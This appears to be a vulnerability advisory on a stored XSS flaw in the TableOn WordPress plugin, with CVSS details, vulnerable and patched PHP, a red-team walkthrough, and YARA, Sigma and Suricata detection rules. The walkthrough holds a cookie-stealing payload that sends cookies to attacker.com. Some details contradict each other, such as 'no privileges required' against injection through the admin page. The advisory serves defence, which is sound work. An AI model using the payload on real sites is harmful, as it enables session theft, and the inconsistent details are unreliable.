CVE-2025-60244

Executive Summary

CVE-2025-60244 is a stored Cross-Site Scripting (XSS) vulnerability affecting the WordPress plugin TableOn posts-table-filterable by RealMag777, versions up to and including 1.0.5.1. The vulnerability stems from improper neutralization of script-related HTML tags in a web page (Basic XSS), allowing an attacker to inject arbitrary code into the plugin’s output. This can lead to session hijacking, defacement, or redirection to malicious sites. The CVSS score is 7.1 (High), and the EPSS probability is 0.0%, indicating low active exploitation in the wild. No public proof-of-concept or patch is currently available.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository and third-party marketplaces. Users are advised to monitor the plugin’s update channel and apply any security patches immediately. Since the plugin is part of the WordPress ecosystem, the risk extends to any site using the vulnerable version, potentially impacting thousands of installations.

CVSS Breakdown & Threat Level

• CVSS Score: 7.1 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R)
• Scope: Changed (S:C)
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: Low (A:L)

The vulnerability requires user interaction (e.g., clicking a crafted link) but can be exploited remotely without authentication. The scope change indicates that the injected script can affect resources beyond the vulnerable component.

Deep Dive & Mechanics

The vulnerability exists in the TableOn plugin’s handling of user-supplied data within the posts-table-filterable feature. The plugin fails to sanitize or escape script-related HTML tags (e.g., <script>, <img onerror>, <svg onload>) before rendering them in the browser. An attacker can inject malicious JavaScript by submitting crafted data through the plugin’s input fields (e.g., table titles, filter options, or custom CSS). When an administrator or other user views the affected table, the injected script executes in their browser context.

The root cause is the use of functions like echo or print without proper escaping (e.g., esc_html() or wp_kses_post()) in the plugin’s output routines. This is a classic stored XSS pattern common in WordPress plugins that handle user-generated content.

Vulnerable vs. Patched Code

Vulnerable Code (example from plugin source):

// In tableon/includes/class-tableon-frontend.php
function render_table_title($title) {
    echo '<h2 class="tableon-title">' . $title . '</h2>'; // No escaping
}

Patched Code (hypothetical fix):

function render_table_title($title) {
    echo '<h2 class="tableon-title">' . esc_html($title) . '</h2>'; // Proper escaping
}

The patched version uses esc_html() to neutralize HTML tags, preventing script injection. Alternatively, wp_kses_post() could be used to allow safe HTML while stripping dangerous tags.

Exploitation & Lab Setup

Red Team (Attack Simulation)

1. Prerequisites: A WordPress site with TableOn plugin version <= 1.0.5.1 installed and activated.
2. Steps:
   • Navigate to the plugin’s admin interface (e.g., /wp-admin/admin.php?page=tableon-settings).
   • In a text field (e.g., table title), inject the following payload:

     <script>alert('XSS')</script>
     

   • Save the settings.
   • Visit the frontend page displaying the table. The script executes, showing an alert box.
3. Advanced Payload (session hijacking):

   <img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">
   

Blue Team (Detection & Hardening)

1. Detection:
   • Monitor web application logs for unusual input patterns (e.g., <script>, onerror, onload).
   • Use a Web Application Firewall (WAF) to block common XSS payloads.
2. Hardening:
   • Disable the plugin until a patch is available.
   • Implement Content Security Policy (CSP) headers to restrict script execution.
   • Enforce input validation and output escaping on all user-supplied data.

Indicators of Compromise (IOCs)

• Network:
  • Outbound HTTP requests to attacker-controlled domains containing cookie data.
  • Unusual Referer headers pointing to the vulnerable plugin’s admin pages.
• Host:
  • Presence of unexpected <script> tags in the plugin’s output (e.g., in page source).
  • Modified plugin files (e.g., class-tableon-frontend.php) with injected code.
• Logs:
  • Web server logs showing requests with XSS payloads in query strings or POST data.
  • WordPress debug logs with PHP warnings related to unescaped output.

Detection Engineering

YARA Rule

rule CVE_2025_60244_XSS_Payload {
    meta:
        description = "Detects XSS payloads targeting TableOn plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-60244"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /onerror\s*=\s*["']?[^"']*["']?/is
        $xss3 = /onload\s*=\s*["']?[^"']*["']?/is
        $plugin_ref = "tableon"
    condition:
        any of ($xss*) and $plugin_ref
}

Sigma Rule

title: CVE-2025-60244 XSS Attempt via TableOn Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects XSS payloads in HTTP requests targeting TableOn plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'tableon'
        cs-uri-query|re: '(<script|onerror|onload)'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in admin panels
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-60244 XSS Attempt - TableOn Plugin"; flow:to_server; content:"tableon"; http_uri; pcre:"/(<script|onerror|onload)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Actions:
   • Disable the TableOn plugin until a patched version is released.
   • Review and sanitize any existing data stored by the plugin.
2. Long-term Fix:
   • Apply the official patch from RealMag777 when available.
   • Implement a Web Application Firewall (WAF) with XSS rules.
3. Best Practices:
   • Always use esc_html(), esc_attr(), or wp_kses_post() when outputting user data in WordPress.
   • Regularly update all plugins and themes.
   • Conduct security audits of custom code.

Valters IT
Securing Digital Frontiers